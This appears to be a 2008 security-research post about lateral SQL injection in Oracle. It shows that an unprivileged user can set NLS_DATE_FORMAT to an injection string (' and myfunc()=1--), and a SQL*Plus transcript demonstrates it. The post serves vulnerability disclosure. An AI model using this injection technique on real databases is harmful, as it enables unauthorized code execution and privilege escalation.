Lateral SQL Injection Revisited - No Special Privs Required
At the end of April 2008 I published a paper about a new class of flaw in
Oracle entitled "Lateral SQL Injection".
The paper can be found here:
http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf
Essentially the paper details a way in which the attacker can manipulate the
environment to trick an Oracle database into using arbitrary SQL in DATE
functions and data.
A number of people at the time dismissed it as irrelevant because the
attacker required the ALTER SESSIOn privilege. Well, as it turns out, you
don't need the ALTER SESSION privilege at all. Here's why: there are certain
ALTER SESSION statements that can be executed even though the user doesn't
have the ALTER SESSION privilege. The statements that can be executed
without the privilege include those that relate to National Language
Support. Thus a user without ALTER SESSION privileges can change the date
format and so employ a lateral SQL injection attack. The script below shows
this in action. We connect to a fully patched 11g server and confirm we only
have CREATE SESSION privileges - i.e. the minimum we need to connect to the
server - everyone gets this privilege. We then issue an ALTER SESSION
statement to try set SQL_TRACE to true. As expected this fails with an
insufficient privileges error. But then we issues an ALTER SESSION to set
the NLS_DATE_FORMAT and this succeeds. Lastly we call the SYSDATE function
to confirm it took.
C:\>sqlplus /nolog
SQL*Plus: Release 11.1.0.6.0 - Production on Fri Jul 18 14:47:17 2008
Copyright (c) 1982, 2007, Oracle. All rights reserved.
SQL> connect testuser1/testuser1
Connected.
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
SQL> alter session set sql_trace = true;
alter session set sql_trace = true
*
ERROR at line 1:
ORA-01031: insufficient privileges
SQL> alter session set nls_date_format='"'' and myfunc()=1--"';
Session altered.
SQL> select sysdate from dual;
SYSDATE
------------------
' and myfunc()=1--
SQL>
Thus we can see that no special privileges are required to effect a lateral
SQL injection attack. I suppose I should have spotted this at the time.
Cheers,
David
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